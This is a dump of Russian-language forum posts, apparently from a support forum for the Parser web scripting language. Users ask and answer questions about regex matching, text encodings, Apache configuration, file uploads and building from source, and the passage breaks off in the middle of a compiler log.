"14011","в частности, возможно вы не экранируете точку с запятой? Это может быть проблемой = пользуйтесь ^;"
"14012","Допустим, у меня есть файл sections.cfg:\
dir       name\
folder1   name1\
folder2   name2\
folder3   name3\
\
Требуется проверить, в каком каталоге находимся и взависимости от этого вывести название\
Как лучше это сделать? - \
1. С помощью \
[code]\
$nav[^table::load[/sections.cfg]] \
^nav.menu{\
^if(in /$nav.dir){\
$nav.name\
}\
[/code]\
\
2. Или таким образом\
[code]\
$nav[^table::load[/sections.cfg]] \
$uri[^request:uri.split[/;h]]\
^nav.menu{\
^if($uri.1 eq $nav.dir){\
$nav.name\
}\
[/code]\
\
Может,есть какие то другие способы? Скажите, пожалуйста, если не трудно."
"14016","вы лезете в $имя в котором лежит junction. что такое junction написано в документации."
"14017","вы не пишите кусок кода, где возникает ошибка, документацию не читаете, и хотите, чтобы вам помогли.\
\
сделайте второе, потом, если понадобится, первое?"
"14018","вы сообщали о проблемах со знаком «\\», которые были успешно поправлены.\
\
пожалуйста опишите имеющуюся сейчас проблему кусочком кода: bug.html"
"14019","тема javascript+parser обсуждалась не раз."
"14020","Попробовал в Опере (7.02) - не работает, в IE6 всё нормально..."
"14021","действительно не говорил про символ '. Короче такая же ошибка как и в случае с символом \\ А код простой, - делаю занесение данных в БД в которых есть ' парсер ругается, говорит что ошибка в SQL запросе, точнее сказать не могу потому что PosgreSQL дома находится."
"14022","[quote]\
SQL92 allows single quotes to be embedded in strings by typing two adjacent single quotes (e.g. 'Dianne''s horse'). In Postgres single quotes may alternatively\
[/quote]\
\
и\
[quote]\
include a backslash in a string constant, type two backslashes.\
[/quote]\
\
диагноз: пришлите bug.html, посмотрю."
"14025","В конструкции\
[code]\
@CLASS\
class_name\
[/code]\
Диагноз всем - будьте внимательны! И при таких ошибках включайте показ непечатаемых символов"
"14026","на оставшиеся вопросы даст ответ [url=\"/docs/lang/tablelocate.htm\"]дока[/url]"
"14028","А то при нажатии F5 (refresh) браузер пытается снова отправить информацию..."
"14029","я пробовал так:\
1. выбирай картинку\
2. жму кнопку - не вижу моей картинки\
3. дописываю в урл ?1 (или еще что-нить) + enter -не вижу картинки\
4. нажимаю пару раз reload - вижу."
"14030","Во-первых, для справки, у нас на одном сервере (Dual P4, 1Gb RAM, FreeBSD 4.7) крутиться порядка 10-ти проектов на PHP и 15-ти на Парсере (это если не считать проектов, выполненных на Static HTML и Perl). Загрузка в 0.1%-0.5% CPU и в 200-300Кб RAM – это постоянная загрузка, которые дают сайты сделанные на PHP, ДО 50% CPU и ДО 50Мб RAM – постоянная загрузка, которую дают сайты на Parser 2 (имеются в виду пиковые значения, конечно). В совокупности, по посещаемости, сайты на Parser 2 дают больше хитов (кол-ва загрузок), чем PHP-шные сайты, потому что сайты на PHP были сделаны раньше (некоторые 3-4 года назад), но среди них есть пара, дающая до 3500 хитов в сутки на рыло. Среди сайтов на Parser есть несколько с посещаемостью 1000-2000 хитов.\
\
Во-вторых, Ваш ответ в части: \"Не верю, что примерно один и тот же код будет занимать 200-300K на PHP и 50Мб на parser3...\" касается Parser 3, а не Parser 2 (а речь все время шла о том, меньше ли жрет ресурсов Parser 3 в сравнении с Parser 2), а так же (по-видимому) в вашем ответе речь идет о коде (размерах файлов), в чем, конечно, Parser дает преимущество перед PHP, потому что он делался для кодеров, а не для программеров (по крайней мере, его вторая версия, на изучение которой у HTML-щика уходит 2 дня).\
\
И напоследок. В тему. Мы бы давно перешли на Parser 3, но пугает его синтаксис, который явно не предназначен для этих самых HTML-щиков, в отличие от того же самого Parser 2. Для перехода нужна мотивация, например в виде улучшенной скорости работы.\
"
"14031","1. Синтаксис 2-го парсера гораздо ужаснее чем 3-го\
2. Я тоже не верю что [b]один и тот же алгоритм[/b], работающий с [b]одним и тем же набором данных[/b] на php будет кушать 300К а на любом из парсеров 50Мб - Константин вам правильно сказал, дело не в технологии, а в том как она там реализован механизм, получается что у вас сайты на 2-м парсере сделаны через ж.\
3. Если не согласны, приводите конкретные примеры, а не общие рассуждения."
"14032","Наши сайты на PHP делали ПРОГРАММЕРЫ, а сайты на Parser – КОДЕРЫ. Возможно собака здесь и зарыта, однако, таки, смущает такая нагрузка на сервак! (Я ничего не выдумываю, но не могу же я в форум кинуть рутовый доступ к нашему серваку.)"
"14033","например достаточно всего одного [code]select * from table[/code] по большой таблице, и никакая технология не спасёт :)"
"14034","совсем не значит что у них не должно быть мозгов и базовых знаний в области программирования. Просто мне кажется что вы пытаетесь найти серебрянную пулю - её нет и не будет. Сложность лещит в самой природе программных систем, и чтобы с ней справиться надо прилагать некие усилия."
"14035","То есть если одновременно работают несколько парсеров, то в их суммарный размер в 50 Мб можно поверить. Но чтобы получить один parser2, занимающий 50 Мб, надо в него эти 50 Мб поставить, а это не так просто. :)\
\
Parser2 занимает память только в переменные, таблицы (причем при перезаписи старое значение освобождается), и собственно в output. Поскольку вероятность выдачи HTML страницы в 50Мб минимальна, в переменные обычно много данных не кладут, остаются таблицы. То есть либо ваши скрипты считывают с диска ~50Мб файлов .cfg, либо данных из базы на ~50Мб... Настоятельно рекомендую посмотреть на эти скрипты. :) Вероятно там есть узкое место, простая оптимизация которого заметно облегчит вам существование... И неудивительно, что скрипт обрабатывающий 50Мб данных медленно работает. Хотя теоретически дело еще может быть в неоптимальных регулярных выражениях.\
\
Резюме: Parser2 очень экономно относится к памяти, хотя это и несколько противоречит тому, что вы наблюдаете. :)\
\
P.S. Высказанные мной утверждения легко проверяются экспериментально, поэтому просьба если их и опровергать, то _конкретными_ примерами.\
"
"14036","Пример в виде кусков кодов давать бессмысленно. Описать проекты, что бы было понятно, что там не так, можно только, если кинуть в форум полные ТЗ и все исходники. Не думаю, что это вам будет интересно. Что касается 50Мб памяти, то речь, таки, безусловно идет о совокупности одновременно работающих проектов, где, однако нет ни одного .cfg с кодом более 50 кил, и ни одного .cfg с данными более 500 кил (у нас это называется .dat).\
\
Однако, речь сейчас не об этом! Мне на вопрос кто-нибудь ответит или нет? Меньше ли жрет ресурсов Parser 3 в сравнении с Parser 2, как в версии внешнего CGI, так и в версии модуля Apache?\
\
Раз никто не отвечает, пытаясь увести дискуссию в русло: «оптимизируй код, и формат хранения данных», то я могу сделать вывод, что Parser 3 жрет еще больше (судя по тому, что в него понавстраивали)!\
"
"14037","#Вводная информация:\
На каждой странице сайта происходит подключение к mySQL-базе оператором ^connect (так определено в корневом auto.p).\
Реальный же запрос к базе происходит только на некоторых страницах сайта (к примеру, на странице форума).\
\
#Вопрос (наивный, может быть):\
Правильно ли это, не лучше ли подключиться к SQL непосредственно перед запросом?\
Насколько замедляет работу сайта и тратит ресурсы сервера подключение к mySQL-базе?\
"
"14038","\"сайты на PHP (используется 4-я версия) загружаются почти не заметно (по 0.1-0.5% CPU и по 200-300К памяти), а сайты на Парсере (внешний CGI, вторая версия) отжирают до 50% CPU и до 50М памяти.\"\
\
Это не мой текст, и собственно этот текст был катализатором. Сейчас думаю все (в том числе и вы) понимают, что такая разница в потребляемых ресурсах связана не с технологией, а с конкретной реализацией. И что если бы php считывал в память файл размером 500Кб, он бы не занимал менее 500Кб. :)\
\
Что касается parser3 vs parser2, то parser3 заметно быстрее, особенно в длинных циклах, но пока потребляет больше памяти (хотя скоро будет потреблять примерно столько же). Модуль apache еще сильнее усилит разрыв в скорости, но к сожалению увеличит занимаемую память.\
\
Но сначала рекомендовал бы пооптимизировать существующий код. Как-то тоже нашел медленную страницу. Оказалось она делала ~4000 SQL запросов. После 3-х минутной оптимизации их осталось ~10 и все стало \"летать\". К сожалению, пока к любой технологии должны прилагаться руки. :)\
\
"
"14039","Как в split можно использовать 2 параметра?\
Т.е, например,\
^stroka.split[/;h] горизонтально\
^stroka.split[/;l] слева\
А как слева горизонтально?\
^stroka.split[/;lh] - не работает.\
\
Подскажите, пожалуйста.\
"
"14041","с описанием ожидаемого результата"
"14042","Подключение к базе во многих случаях процесс достаточно медленный, об этом уже много говорилось, поищите по  форуму...\
\
Другое дело, что при обработке оператора connect не обязательно происходит процесс подключения, ибо в Parser3 встроены хитрые механизмы кэширования соединений (кэширование в данном случае означает не запоминание Parser'ом результатов последнего запроса, а то что в некоторых случаях Parser не разрывает соединение с базой, подробнее об этом есть в документации по connect...)"
"14043","Мне требуется считать файл методом load класса file, но файл находится в кодировке koi8-r. Вот. Т.е. в файле на входе вместо русских букв иероглифы. Как настроить метод load так, чтобы он считал мне в переменную содержимое файла но в нормальной кодировке. Help читал, читал... Решил спросить.\
"
"14044","не загнётся ли при 50-100 запросах в минуту?\
8-)"
"14045","http://www.parser.ru/docs/lang/?optaintuntaint.htm"
"14046","Напиши утилитку, которая аргументом принимает имя файла и перекодирует его, а результат выдаётв stdout."
"14047","Нормально работает, не загибается.\
Нагружен и базой и XML."
"14048","При более ~20Kb CDATA секции обрезаются :(\
\
Вроде bug expat'a"
"14049","Для начала объясни, почему на одном сервере файлы хранятся в разных кодировках?\
"
"14052","Приходиться давать юзерам dhtml editor, а весь html от них носить в CDATA, дабы на well-formed не ругалось."
"14054","Я не знаю, почему коцаются данные в CDATA...\
Я не пытаюсь сказать, что не бывает задач, когда это нужно...\
\
Я просто считаю, что CDATA - это крайний случай, который стоит стараться не использовать.\
Я просто предполагаю, что если такая задача у кого-то возникла, то возможно не посмотрели да другие, может быть лучшие варианты ее решения."
"14055","циклом в пару тысяч итераций с SELECT * FROM... - то ляжет как миленький...\
\
Ссылки по теме:\
[url=\"/forum/?id=13931\"]форум: Недавнее обсуждение[/url]\
[url=\"/docs/lang/statusrusage.htm\"]дока: rusage[/url]\
[url=\"/docs/lang/opcache.htm\"]дока: cache[/url]\
[url=\"/examples/cache/\"]примеры: cache[/url]"
"14056","тут как-то фигурировала такая ссылка: www.elfimov.com/info/word.html\
\
"
"14057","Как добавить <!--#include virtual=\"\"--> в .html страницу на парсер3? Если include virtual не как не поставить какие еще есть варианты? "
"14058","Собственно, хотел вопрос задать, но пока пис[b]а[/b]л, почитал доку по Перлу и вопрос разрешился, но написать все таки хочу, в назидание, так сказать, потомкам.\
В Parser'е работает фича, делающая регулярные выражения \"не жадными\". Что это такое?\
Есть строка, скажем, такая:\
[code]\
...\
<parser>какой_то_метод[]</parser>ля-ля-тополя...\
очень много всякого текста...\
<parser>другой_метод[]</parser>.\
...\
[/code]\
Захотели отматчить ее так, чтобы содержимое тега <parser></parser> отпроцессилось в @postprocess'е\
Вот так: \
[code]\
@postprocess[buffer]\
$result[^buffer.match[<parser>(.+)</parser>][ig]{^process{^^$match.1}}]\
[/code]\
не пойдет, потому что рег. выражения по умолчанию жадные, и результатом такого постпроцесса будет выполнение всего кода между первым <parser> и последним (в данном случае вторым) </parser>, включая текст \"[b]ля-ля-тополя...очень много всякого текста...[/b]\" чего мы не хотели.\
А чтобы этого не происходило, надо отключить \"жадность\" модификатором \"?\", вот так:\
[code]\
@postprocess[buffer]\
$result[^buffer.match[<parser>(.+?)</parser>][ig]{^process{^^$match.1}}]\
[/code]\
Тогда этот match найдет два вхождения шаблона и выполнит код между парными <parser> и </parser>, как и задумывалось.\
\
P.S. Вся эта работа с отложенной обработкой -- одно из решений такой задачи: заголовок страницы хранится в одной из переменных некоего объекта, но кладется он туда в процессе работы с базой данных, условно говоря, \"после\" того места в коде, где этот заголовок вставляется в код сайта. То есть если его буквально вызвать, то будет пусто (заголовка еще нет). И поэтому мы говорим:\
вот здесь надо \"в самом конце\" (то есть \"потом, а не сейчас\") вызвать метод, вынимающий эту переменную из объекта -\
[code]\
...\
<title><parser>^site.get_page_title[]</parser></title>\
...\
[/code]\
В процессе обработки кода срабатывает метод\
[code]\
^site.set_page_title[Новость про епрст от 5 марта сего года]\
[/code]\
И теперь с помощью нашего match'а в методе @postprocess мы и запускаем метод, вставляющий название страницы в html-код.\
\
P.P.S. Идею по отложенной обработке недавно высказал Misha, это ее я здесь реализовал.\
\
P.P.P.S. Лучше вместо\
[code]\
<parser>какой_то_блин_понимаешь_метод[]</parser>\
[/code]\
использовать\
[code]\
<parser какой_то_блин_понимаешь_метод[]>\
[/code]\
, так как если что не заматчится, пользователь не увидит непонятных ему слов (имя метода) на экране:\
Вы находитесь на странице: какой_то_блин_понимаешь_метод[]\
:)\
\
Вот. Может кому пригодится. А может кто возразит чего. Всегда рад буду обсудить."
"14059","Если надо вставить какой-то файл, то это описано вот здесь: http://parser.ru/docs/lang/fileload.htm\
и делается, кажется, так:\
[code]\
$f[^file::load[text;article.txt]] \
# а теперь вывод содержимого файла:\
$f.text \
[/code]\
\
Если же надо вставить результат работы внешнего скрипта, то дока по этому вопросу тут: http://parser.ru/docs/lang/filecgiexec.htm\
и работает это примерно так:\
[code]\
$cgi_file[^file::cgi[new.cgi]]\
$cgi_file.text\
[/code]"
"14060","все функции есть, место для параметра тоже.\
\
1.\
однако рекомендуется решить вопрос концептуально: один сервер=одна кодировка.\
2.\
если так нельзя, можно: один раздел сервера=одна кодировка.\
3.\
хотя parser уже сейчас позволяет вам организовать: одна страница=одна кодировка. см. $request:charset и $response:charset\
\
однако лично я терпеть не могу разные кодировки, и всячески стараюсь пойти по варианту (1). и не доводить дело до варианта (4), который, как я писал выше, сделать можно, однако плохой порядок лучше хорошего беспорядка."
"14061","кто хочет приблизить решение этой проблемы пусть пойдёт на сайт этой библиотеки и посмотрит, признаёт ли автор такой bug. или, вдруг, уже его исправил?"
"14062","Весь форум изрыл... нашел подобную тему... почитал недопер... почитал несколько раз документацую по поводу main. все равно непонял где грабли... Наверно антибиотики сказываются... \
\
Т.е. возникла некоторая проблемма в понимании базовых понятий парсера. Если можете объясните... за ранее благодарен. \
\
Получаю ошибку:\
/index.html(3:1): parse error, expecting `$' [parser.compile] \
\
хотел сделать несколько классов(не процедур) и по мере необходимости создавать обекты этих классов и пользоватся методами... но также нужна возможность изменять некоторые поля и процедуры в теле документа. если убрать 3 строчку из index.html то все работает, но понятно что не могу ничего изменять... как изменить структуру файлов чтобы заработало.... помогите пжалуста\
\
index.html\
<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.0 Transitional//EN\">\
<HTML lang=\"ru\">\
@show_left[]\
ddddddd\
^show[]\
</HTML> \
\
\
auto.p\
@USE\
/classes/class_menu.p\
/classes/class_head.p\
/classes/class_body.p\
/classes/class_top.p\
\
\
@auto[] \
#<VAR>\
$connect_string[pgsql://postgres:1@local:/rubtsovsk.ru?charset=koi8]\
$web_url[http://avenger]\
\
\
#<PROCEDURE>\
@dbconnect[code] \
^connect[$connect_string]{$code} \
\
@terminator[code]\
<TABLE BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"0\" WIDTH=\"100%\" >\
 <TR CLASS=\"null\">\
  <IMG SRC=\"${MAIN:web_url}/images/null.gif\" HEIGHT=\"8\" WIDTH=\"$code\">\
 </TR>\
</TABLE>\
\
\
\
#Є-+-+і+ ++--++++ і---+-++-++ + ++і+ ---+-+++-\
@show_top[]\
  $temp_top[^class_top::create[]]\
  ^temp_top.top_show[]\
\
@show_left[]\
 $temp_menu[^class_menu::create[]] \
 ^temp_menu.menu_show[]\
\
@show_center[]\
&nbsp^;\
\
@show_right[]\
&nbsp^;\
\
@show_bottom[]\
<TABLE CLASS=\"globalbottom\" BORDER=\"0\" CELLPADDING=\"0\" CELLSPACING=\"0\"  WIDTH=\"100%\" >\
 <TR>\
  <TD VALIGN=\"TOP\">\
    &nbsp;\
  </TD>\
 </TR>\
</TABLE>\
\
\
#\
@head[]\
$temp_head[^class_head::create[]]\
^temp_head.head_show[]\
\
@body[]\
$temp_body[^class_body::create[]]\
^temp_body.body_show[]\
\
@show[]\
^head[]\
^body[]\
\
\
\
\
классы думаю не нужно кидать....\
\
\
"
"14063","убрал процедуру @show[]\
\
сразу после подклучения классов поставил:\
@main[]\
^head[]\
^body[] \
\
index.html\
выгдядит так:\
@show_right[]\
ddd \
\
\
но пропала возможность писать перед @show_right[] теги\
\
и каждый раз необхадимо что-нибудь объявлять в Index.html...\
хотелось бы изменять процедуры по умолчанию, только когда нужно... "
"14064","[quot]\
Примечание: если в файле не определен ни один метод, считается, что файл определяет метод main без параметров. \
[/quot]\
\
в твоем случае у тебя определены методы в файле -> ты должен сам указать, что такое у тебя за строки есть в файле и к чему они относятся, т.к. поставить @main[] перед ними."
"14065","Прошу прощения за оффтопик, но не знаю, где ещё спросить.\
\
ЦБР выкладывает данные о валютном рынке + все основные монетарные показатели по России в очень удобном для считывания формате. \
\
А не подскажет ли кто из уважаемых форумчан, где бы можно найти XML-feeds немецких биржевых показателей, а? То есть по WKN-идентификатору акции получить её текущий курс на FSE, XETRA, MUN и т.д.? И шире, если у кого набралась подборка интересных источников данных в XML - поделитесь, а?"
"14066","Нужно по почте отправить текст из базы, заменяя теги на &lt; &gt;\
\
Я уже даже бубен нашел, скоро начну играть на нем :("
"14068","в index.html добавил\
@auto[]\
kfkfkfk"
"14073","вот фраза:\
оборудования», – отметил Павел\
\
везде кроме этого места нормально работает такой match:\
$8intxt[^7intxt.match[(\\b.) - (\\b)][g]{${match.1}&nbsp^;&#151^; ${match.3}}]"
"14074","Одно - длинное \"вордовое\" (именно тирэ), а второе - минус. Потому и не матчится.\
Copy/paste его и replace на \"-\" (минус). Тоже самое имеет смысл делать и с лапками/елками/другими вордовыми символами."
"14075","Plain-text'овое письмо и так покажет все тэги as-is, без попытки отрендерить...\
Или я что-то не понимаю в современных почтовиках под Win..."
"14077","Уважаемые коллеги. Разные кодировки, потому что документ, который мне нужно считать находится (стыдно признаться, воруем. Между прочим идею подала статья, как ни странно, на веб-клубе (www.webclub.ru).) на другом сервере. У меня на сайте windows-1251, на том сервере koi8-r.\
\
Но я придумал замечательную вещь. Ведь буквы в другой кодировки тоже буквы и их можно анализировать тоже. Какая разница в какой кодировке. И я уже сделал так, все вроде получилось.\
"
"14078","если срочно: на части серверов стоит Русский Apache, который может отдавать документы в разных кодировках в зависимости от порта/user-agent."
"14079",".. но эскапить надо только текст из базы ."
"14080","... не органично, при том что в парсере, есть механизм таёнтинга.\
\
Может его можно тут применить?"
"14081","Чем может быть вызвана такая ошибка?\
[code]Making all in src\
Making all in include\
make  all-am\
Making all in main\
bison -v  -o compile.tab.C\
bison: no grammar file given\
*** Error code 1\
\
Stop in /usr/local/src/parser/parser3/src/main.\
*** Error code 1\
\
Stop in /usr/local/src/parser/parser3/src.\
*** Error code 1\
\
Stop in /usr/local/src/parser/parser3.[/code]"
"14082","Я пытаюсь сохранить картинку через форму:\
\
<form method=\"post\" enctype=\"multipart/form-data\" action=\"index.html\">\
Путь к файлу: <input name=\"photo\" type=\"file\" class=\"forms\" title=\"Обзор\">\
<input type=\"submit\" value=\"Отправка файла\">\
</form>\
\
С помощью команды:\
\
^form:photo.save[binary;/first.jpg]\
\
У меня на компьютере (win) это все хорошо происходит.\
А вот у провайдера (FreeBSD) это дело не работает.\
Картинку трансформирует так, что это уже не картинка.\
Почему ?\
"
"14083","в Makefile написана мирная конструкция\
[code]\
compile.tab.C: compile.y\
	bison -v $< -o $@\
[/code]\
которая должна работать с большинством make.\
\
"
"14084","надеюсь, сами понимаете, что не предоставляете нужного объёма информации.\
\
1. совпадает ли размер файла: исходный и после-upload?\
2. если совпадает, насколько разнится содержание? в Win32 команда [code]fc/b один.jpg другой.jpg>разница.txt[/code]"
"14085","из исходной таблицы сформируйте другую со столбцами ID и key.\
где key=^koi2win[нужного вам столбца].\
\
[code]\
@auto[]\
$koi2win_table[^table::load[nameless;/../data/koi2win.cfg]]\
\
@koi2win[koi]\
^koi.replace[$koi2win_table]\
[/code]\
\
в файл koi2win.cfg положите два столбца:\
[code]\
буква_в_koi_кодировке >tab> та_же_буква_в_win_кодировке\
[/code]\
\
\
со временем table.sort будет делать всё сам, соответстующий todo у меня уже стоит."
"14086","У провайдера стоит Linux 6.2 и библиотеки GLIBC_2.1.3 нет.\
Какой билд PARSER3 нужно взять, чтобы работать?\
\
Заранее спасибо."
"14087","прямо на той машине. если вам не нужен xml, сборка parser: дело тривиальное.\
\
скачать исходники:\
http://parser.ru/f/1/download/src/parser-3.0.HEAD.tar.gz\
\
распаковать, и сделать обычные в мире unix:\
[code]\
./configure --prefix=/home/кто_собирает/parser3install\
make\
make install\
[/code]\
после чего всё из каталога parser3install списать вам в cgi-bin.\
\
если нужен sql драйвер, проделать то же самое [мелочь: важно куда распаковать относительно parser уже обсуждалась в форуме]."
"14088","я уже писал, но вы, очевидно, не вчитались.\
\
parser сортирует текст как есть, не перекодируя его ни в какую кодировку. последовательность нумерации букв в koi-8 не соответствует алфавитному порядку, отсюда такая сортировка.\
\
для ускорения решения проблемы я просил заинтересованных лиц её исследовать: повторяю вопрос: «годится ли UNICODE порядок следования кодов для всех случаев?».\
\
а пока временное решение я вам привёл.\
\
если палец поднимается нажать reply, опустите его. перечитайте сообщение ещё раз."
"14089","...не знаю, как для русского набора (надо будет просмотреть), но турецкий ряд unicode идет не в алфавитном порядке - проверено. Т.е., unicode порядок для сортировки не годится.\
\
Кажется, я уже это писал...\
\
P.S. Для себя написал примитивный метод сортировки по первому знаку стринга - мне хватает. Но в будущем надо бы решить проблему сортировки."
"14090","Сравнение файлов 1.jpg и 2.JPG\
00000004: 00 20\
0000000A: 00 20\
0000000E: 00 20\
00000010: 00 20\
00000012: 00 20\
00000013: 00 20\
00000025: 00 20\
00000037: 00 20\
и т. д.\
\
А размеры одинаковые.\
Броузер через тег <img> размер картинки определяет. Но показывать не хочет. Графические программы файл не открывают. Не связано ли это с тем, что файл передается в режиме text, а не как я задавал binary?\
"
"14091","Возможно у провайдера стоит Russian apache и не отключена перекодировка multipart.\
CharsetRecodeMultipartForms Off\
\
Хотя при исполдьзовании parser3 русский apache надо выключать полностью, но для этого иногда надо делать в .htaccess как в каталоге web-пространства, так и в каталоге с cgi скриптами.\
\
"
"14092","по умолчанию кажется все srting"
"14094","в ручную переводить в другой тип?"
"14095","запросы к /index.html превращаются [internal redirect] к запросу /cgi-bin/parser3.cgi/index.html\
\
при этом, скажем, авторизация проверяется [b]до[/b] redirect.\
и человека либо пускают дальше, либо нет.\
\
однако если настройки Русского Apache сделаны в htdocs/.htaccess они [b]не распространяются[/b] на каталоги вне htdocs, и если каталог со скриптами находится вне htdocs, на него они [b]не распространяются[/b].\
\
диагноз: в каталог с cgi-скриптами положите .htaccess с таким текстом:\
[code]\
#выключить Русский Apache совсем\
#ведь parser3, по-умолчанию, выдаёт content-type с указаним charset\
CharsetDisable On\
[/code]\
\
Русский Apache перестанет вообще что-либо перекодировать, и картинки заработают.\
\
имейте в виду, что файлы, не обрабатываемые parser'ом [скажем, «info.txt»] при этом потеряют атрибут charset заголовка content-type, что, в каких-то случаях, может быть проблемой."
"14096","надеяться на лучшее и если это не так, юзать обработку ошибок - самый правильный путь, все правильные перцы так делают :)"
"14097","ТАК они всегда стринги или когда как?"
"14098","Если хочешь убедиться, что тебе пришло число, то пишешь:\
[code]\
@method[a]\
А я хочу чтобы в a было число: ^a.int(0)\
[/code]\
\
Если хочешь проверить, что тебе передали - используешь конструкцию вида:\
\
^if($a is \"table\"){передали таблицу...}\
"
"14099","например хэши :). Не парься ты:\
[code]\
^try{\
   ^method[$param]\
}{\
   $exception.hanled(1)\
   тут делаешь что надо по выправлению ситуации\
   например делаешь $param нужного типа\
}\
[/code]\
так проще чем каждый раз проверять типы переменных и возвращаемые значения."
"14100","и как его передать..\
\
у меня например \
\
^rec_menu[0;0]  \
\
@rec_menu[parent;tree] \
#$tree  - непонятного типа...."
"14101","нужно предовать заведомо число - это , какбы сказать, число на которое мы спустились по одной из веток от корня."
"14102","большая статья, подробно отвечающая на ваши вопросы.\
её постоянный адрес: http://parser.ru/docs/lang/params.htm\
\
[code]\
@main[]\
^method(3)\
\
@method[a]\
^if($a is double){y;n}\
[/code]"
"14103","Спасибо!\
Сейчас работает.\
\
Но можно по-подробнее про проблему с info.txt?\
Не очень понятно как эта проблема будет выражаться."
"14104","без Русского Apache подобный запрос вернёт содержимое файла без анализа запроса и без всякого перекодирования и [b]без указания его кодировки[/b].\
\
Parser, с конфигурацией взятой из раздела «Скачать», выдаёт свой результат с указанием кодировки.\
\
однако .txt файлы отдаются без Parser.\
\
результат: клиент получит файл, кодировка которого ему не указана. что он при этом сделает, зависит от него самого.\
MSIE умеет делать autodetect, который время от времени определяет казалось-бы обычный русский текст в кодировке windows-1251 как… турецкий.\
\
если вам это критично, давайте подумаем над вариантами."
"14105","фраза(4 example):\
В среду, 18 сентября, состоялось\
\
хочу:\
В среду, [b]18&nbsp;сентября[/b], состоялось\
\
вот match:\
[code]\
$6tx[^5tx.match[([0-9]+)\\s(\\w)][g]{${match.1}&nbsp^;${match.2}}\
$6tx\
[/code]\
где тут косяки?"
"14106","1. \\s -> \\s+  иначе  у тебя не отловит:\
[code]\
12  мая\
[/code]\
\
2. \\w == [a-zA-Z0-9_], т.е у тебя сработает и на \"15 25\". я бы поменял \\w на [^\\d\\s] или на [a-zA-Z]"
"14107","С директориями не разберусь.\
\
Есть папка: /test/\
в ней файлы:\
auto.p\
index.html\
\
Есть папка /\
в ней файлы:\
auto.p\
\
При запросе /test/inde.html он берет классы из /auto.p а мне надо из /test/auto.p"
"14108","оставался лишний пробел:\
[pre]18 &nbsp;сентября[/pre]\
\
пока \"заставил\" пахать так:\
$6tx[^5tx.match[([0-9]+)\\s][g]{${match.1}&nbsp^;}\
$6tx\
ofp буду доводить с учетом твоих замечаний - полез проверять \"12 34\" и сразу на 2-х страницах нашел этот прикол :("
"14109","[quote]\
Класс MAIN, обработка запроса \
\
\
Parser обрабатывает запрошенный документ следующим образом: \
\
1. \
Считываются, компилируются и инициализируются Конфигурационный файл; затем все файлы с именем auto.p, поиск которых производится начиная от корня веб-пространства, и ниже по структуре каталогов, вплоть до каталога с запрошенным документом; наконец, сам запрошенный документ. \
Все вместе они составляют определение класса MAIN. \
Инициализация заключается в вызове метода auto каждого загруженного файла. Если определение этого метода содержит параметр, при вызове в нем будет передано имя загруженного файла. \
Примечание: результат работы метода посетителю не выводится. \
\
2. \
Затем вызывается без параметров метод main класса MAIN. \
Т.е. в любом из перечисленных файлов может быть определен метод main, и будет вызван тот, который был определен последним - скажем, определение этого метода в запрошенном документе перекрывает все остальные возможные определения, и будет вызван именно он. \
Результат работы этого метода будет передан пользователю, если не был определен метод postprocess. \
Если в файле не определен ни один метод, то все его тело считается определением метода main. \
Примечание: задание $response:body[нестандартного ответа] переопределяет текст, получаемый пользователем. \
Примечание: если в файле не определен ни один метод, считается, что файл определяет метод main без параметров. \
\
3. \
Если в классе MAIN определен метод postprocess, то результат работы метода main передается единственным параметром этому методу, и пользователь получит уже его результат работы. \
Таким образом вы получаете возможность «дополнительной полировки» результата работы вашего кода. \
\
Простой пример. \
\
Добавление такого определения, скажем, в файл auto.p в корне вашего веб-пространства… \
@postprocess[body] \
^body.match[шило][g]{мыло} \
\
…приведет к замене одних слов на другие в результатах обработки всех страниц.\
[/quote]\
\
Лениво читать? :)"
"14111","То есть это будет распространятся только на файлы с расширением txt? На файлы типа text/plain?"
"14113","При установке парсера по методике , описанной на на сайте (под Апач как CGI) некоторые html-странички отказываются отображаться (выдается ошибка 500) - если интересно , могу выложить кусок  error.log .Это при нормальном их отображении без парсера ! Так что я сначала юзал парсеровские файлы с расширением .parser(правда оригинально ?) , а потом полностью перешел на PHP , и всем это рекомендую"
"14116","То есть ?\
Выложить кусок error.log ?\
Да пожалуйста , завтра выложу (я в интернет кафе)"
"14117","По какому такому ?\
Вы выложите нормальное описание (настраивать под апач не через CGI , а как модуль). А ошибки - они и в Африке ошибки . Я не хочу , чтобы на запрос html-странички вываливалась ошибка 500 - это же бред"
"14118","Вы не задумывались над тем, что назначая что-то обработчиком файлов, которые могут несоответствовать понятиям обработчика, вы просто по-определению получите проблемы?\
\
А про модуль в документации сказано - достоточно просто прочитать."
"14119","... кода 500? I mean, \"ду ю\"?\
\
Блин, кажется, вы не \"ду\".\
\
Тащите сюда ваш эррор-лог - без него это чистый флейм..."
"14120","[i]\"... пробовал играть в хоккей - ерунда какая-то, на площадке скользко, постоянно падаю. До недавнего времени играл в шипованых ботинках, надоело, теперь играю только в футбол, и всем это рекомендую. Хоккей - отстой!\"[/i]\
\
Это я к тому, что для начала стоило бы разобраться в ситуации, почему у других получается, а у вас нет. А вы сразу: \"Отстооой!\"\
Глупо и некрасиво..."
"14121","А зачем ? Учить все что можно ? Ладно я помучаюсь с С++ или ПХП - это ж языки программирования . Но парсер - нет (или сильно кастрированный). И по чему я больше найду справки - по ПХП или по парсеру ? Мне же нужен инструмент , который нормально работает .\
Нормальная аргументация- траблов с ПХП у меня никогда не было\
Перейдите на ПХП и увидите \
"
"14122","...вас заставляют работать на Парсере? Что вы тут раз...анти-пропагандились?!\
\
Любите PHP - вам плюс - пишите на том, что любите. Может эффективнее и без 500 эрроров получится.\
\
Нам (да простят меня парсеровцы) - больше по душе Парсер. Мы его любим и на нем у нас получается лучше.\
\
P.S. То, что у вас что-то не получилось на Парсере, не дает вам права выражаться в таком духе - вы так не считаете? Побойтесь НАС!!! И УДАЧИ ВАМ С php!"
"14123","Про языки программирования: где и кем(кроме Вас) сказано, что РНР - [quote]это ж языки программирования[/quote]?\
\
А на РНР тут многие сидели, если что ;)\
"
"14124","Но наткнулся на следующее:\
[code]Making all in main\
gmake[2]: Entering directory `/usr/local/src/parser/parser3/src/main'\
source='compile.tab.C' object='compile.tab.o' libtool=no \\\
depfile='.deps/compile.tab.Po' tmpdepfile='.deps/compile.tab.TPo' \\\
depmode=gcc /bin/sh ../../depcomp \\\
g++ -DHAVE_CONFIG_H -I. -I. -I../../src/include -I../types -I../classes -I../sql\
 -I../lib/pcre -I../../src/lib/ltdl -I/usr/local/include/glib12 -I/usr/local/inc\
